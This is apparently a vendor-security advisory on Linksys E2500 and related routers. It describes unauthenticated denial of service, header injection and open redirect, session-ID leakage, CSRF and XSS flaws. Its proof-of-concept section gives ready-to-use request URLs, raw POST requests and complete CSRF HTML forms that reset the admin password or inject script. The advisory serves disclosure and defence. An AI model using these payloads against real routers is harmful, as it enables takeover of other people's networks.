Vendor Description
“Today, Belkin International has three brands – Belkin, Linksys and WeMo – to enhance the technology that connects us to the people, activities and experiences we love. Belkin products are renowned for their simplicity and ease of use, while our Linksys brand helped make wireless connectivity mainstream around the globe. Our newest brand, WeMo, is the leader in delivering customizable smart home experiences. Its product platform empowers people to monitor, measure and manage their electronics, appliances and lighting at home and on-the-go.”
Source: http://www.belkin.com/uk/aboutUs/
Business Recommendation
SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved.
Vulnerability Overview / Description
1) Denial of Service (DoS)
A denial of service vulnerability is present in the web server of the device. This vulnerability is very simple to trigger since a single GET request to a cgi-script is sufficient.
A crafted GET request, e.g. triggered by CSRF over a user in the internal network, can reboot the whole device or freeze the web interface and the DHCP service. This action does not require authentication.
2) HTTP Header Injection & Open Redirect
Due to a flaw in the web service a header injection can be triggered without authentication. This kind of vulnerability can be used to perform different arbitrary actions. One example in this case is an open redirection to another web site. In the worst case a session ID of an authenticated user can be stolen this way because the session ID is embedded into the url which is another flaw of the web service.
3) Improper Session-Protection
The session ID for administrative users can be fetched from the device from LAN without credentials because of insecure session handling. This vulnerability can only be exploited when an administrator was authenticated to the device before the attack and opened a session previously.
The login works if the attacker has the same IP address as the PC of the legitimate administrator. Therefore, a CSRF attack is possible when the administrator is lured to surf on a malicious web site or to click on a malicious link.
4) Cross-Site Request Forgery Vulnerability in Admin Interface
A cross-site request forgery vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer).
An attacker can change any configuration of the device by luring a user to click on a malicious link or surf to a malicious web-site.
5) Cross-Site Scripting Vulnerability in Admin Interface
A cross-site scripting vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer).
By using this vulnerability, malicious code can be executed in the context of the browser session of the attacked user.
Proof Of Concept
1) Denial of Service
Unauthenticated request for triggering a router reboot in browser:
<Router-IP>/upgrade.cgi
<Router-IP>/restore.cgi
Unauthenticated request for triggering a router freeze in browser:
<Router-IP>/mfgtst.cgi
2) HTTP Header Injection & Open Redirect
A header injection can be triggered by the following unauthenticated request:
Request:
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Referer: <Router-IP>/Unsecured.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=INJEC%0d%0aTION&change_action=
Response:
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:41 GMT
Location: INJEC
TION
Content-Type: text/plain
Connection: close
Setting a new location will result in an open redirect:
Request:
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=www.sec-consult.com&change_action=
Response:
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:57 GMT
Location: www.sec-consult.com
Content-Type: text/plain
Connection: close
3) Improper Session-Protection
These two requests can be used to fetch the current session ID of an authenticated user.
http:///BlockTime.asp
http:///BlockSite.asp
The response is nearly the same (except the “inetblock” and “blocksite” functions):
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:04:32 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
[...]
function init()
{
var close_session = "0";
if ( close_session == "1" )
{
document.forms[0].action= "hndUnblock.cgi";
}
else
{
document.forms[0].action= "hndUnblock.cgi?session_id=<Session-ID>";
}
}
</script>
</head>
<body id="blocked" onload=init()>
<div id="content">
<div class="h1">
<h1><span><script>Capture(hndmsg.blocksite)</script>
</span>
</h1>
</div>
[...]
</body>
</html>
4) Cross-Site Request Forgery Vulnerability in Admin Interface
The following proof of concept HTML code can change the router password by exploiting CSRF after replacing the <Session-ID> with the fetched one from 3).
The new password is “secconsult”.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
<input type="hidden" name="submit_button" value="Management" />
<input type="hidden" name="change_action" value="" />
<input type="hidden" name="gui_action" value="Apply" />
<input type="hidden" name="PasswdModify" value="1" />
<input type="hidden" name="http_enable" value="1" />
<input type="hidden" name="https_enable" value="0" />
<input type="hidden" name="ctm404_enable" value="" />
<input type="hidden" name="remote_mgt_https" value="0" />
<input type="hidden" name="wait_time" value="4" />
<input type="hidden" name="need_reboot" value="0" />
<input type="hidden" name="http_passwd" value="secconsult" />
<input type="hidden" name="http_passwdConfirm" value="secconsult" />
<input type="hidden" name="_http_enable" value="1" />
<input type="hidden" name="web_wl_filter" value="0" />
<input type="hidden" name="remote_management" value="0" />
<input type="hidden" name="nf_alg_sip" value="0" />
<input type="hidden" name="upnp_enable" value="1" />
<input type="hidden" name="upnp_config" value="1" />
<input type="hidden" name="upnp_internet_dis" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
5) Cross-Site Scripting Vulnerability in Admin Interface
The <Session-ID> must be replaced again. The “apply.cgi” script can be abused to trigger the cross-site scripting vulnerability.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
<input type="hidden" name="submit_button" value="index" />
<input type="hidden" name="change_action" value="" />
<input type="hidden" name="submit_type" value="" />
<input type="hidden" name="gui_action" value="Apply" />
<input type="hidden" name="now_proto" value="dhcp" />
<input type="hidden" name="daylight_time" value="1" />
<input type="hidden" name="switch_mode" value="0" />
<input type="hidden" name="hnap_devicename" value="csrft_POC" />
<input type="hidden" name="need_reboot" value="0" />
<input type="hidden" name="user_language" value="" />
<input type="hidden" name="wait_time" value="1';alert('XSS-PoC')//155" />
<input type="hidden" name="dhcp_start" value="100" />
<input type="hidden" name="dhcp_start_conflict" value="0" />
<input type="hidden" name="lan_ipaddr" value="4" />
<input type="hidden" name="ppp_demand_pppoe" value="9" />
<input type="hidden" name="ppp_demand_pptp" value="9" />
<input type="hidden" name="ppp_demand_l2tp" value="9" />
<input type="hidden" name="ppp_demand_hb" value="9" />
<input type="hidden" name="wan_ipv6_proto" value="dhcp" />
<input type="hidden" name="detect_lang" value="en" />
<input type="hidden" name="wan_proto" value="dhcp" />
<input type="hidden" name="wan_hostname" value="" />
<input type="hidden" name="wan_domain" value="" />
<input type="hidden" name="mtu_enable" value="0" />
<input type="hidden" name="lan_ipaddr_0" value="192" />
<input type="hidden" name="lan_ipaddr_1" value="168" />
<input type="hidden" name="lan_ipaddr_2" value="1" />
<input type="hidden" name="lan_ipaddr_3" value="1" />
<input type="hidden" name="lan_netmask" value="255.255.255.0" />
<input type="hidden" name="machine_name" value="Linksys09355" />
<input type="hidden" name="lan_proto" value="dhcp" />
<input type="hidden" name="dhcp_check" value="" />
<input type="hidden" name="dhcp_start_tmp" value="100" />
<input type="hidden" name="dhcp_num" value="50" />
<input type="hidden" name="dhcp_lease" value="0" />
<input type="hidden" name="wan_dns" value="4" />
<input type="hidden" name="wan_dns0_0" value="0" />
<input type="hidden" name="wan_dns0_1" value="0" />
<input type="hidden" name="wan_dns0_2" value="0" />
<input type="hidden" name="wan_dns0_3" value="0" />
<input type="hidden" name="wan_dns1_0" value="0" />
<input type="hidden" name="wan_dns1_1" value="0" />
<input type="hidden" name="wan_dns1_2" value="0" />
<input type="hidden" name="wan_dns1_3" value="0" />
<input type="hidden" name="wan_dns2_0" value="0" />
<input type="hidden" name="wan_dns2_1" value="0" />
<input type="hidden" name="wan_dns2_2" value="0" />
<input type="hidden" name="wan_dns2_3" value="0" />
<input type="hidden" name="wan_wins" value="4" />
<input type="hidden" name="wan_wins_0" value="0" />
<input type="hidden" name="wan_wins_1" value="0" />
<input type="hidden" name="wan_wins_2" value="0" />
<input type="hidden" name="wan_wins_3" value="0" />
<input type="hidden" name="time_zone" value="-08 1 1" />
<input type="hidden" name="_daylight_time" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Vulnerable / Tested Versions
Linksys E2500 – 3.0.02 (build 2)
According to the Linksys security contact the following products are affected too:
- Linksys E900 (Version: 1.0.06)
- Linksys E1200 (Version: 2.0.07 Build 5)
- Linksys E8400 AC2400 Dual-Band Wi-Fi Router (Version: basic version ?)
Based on information embedded in the firmware of other Linksys products gathered from our IoT Inspector tool we believe the following devices are affected as well:
- Linksys E900 (Version: 1.0.06) — confirmed by vendor
- Linksys E900-ME (Version: 1.0.06)
- Linksys E1200 (Version: 2.0.07 Build 5) — confirmed by vendor
- Linksys E1500 (Version: 1.0.06 Build 1)
- Linksys E3200 (Version: 1.0.05 Build 2)
- Linksys E4200 (Version: 1.0.06 Build 3)
- Linksys WRT54G2 (Version: 1.5.02 Build 5)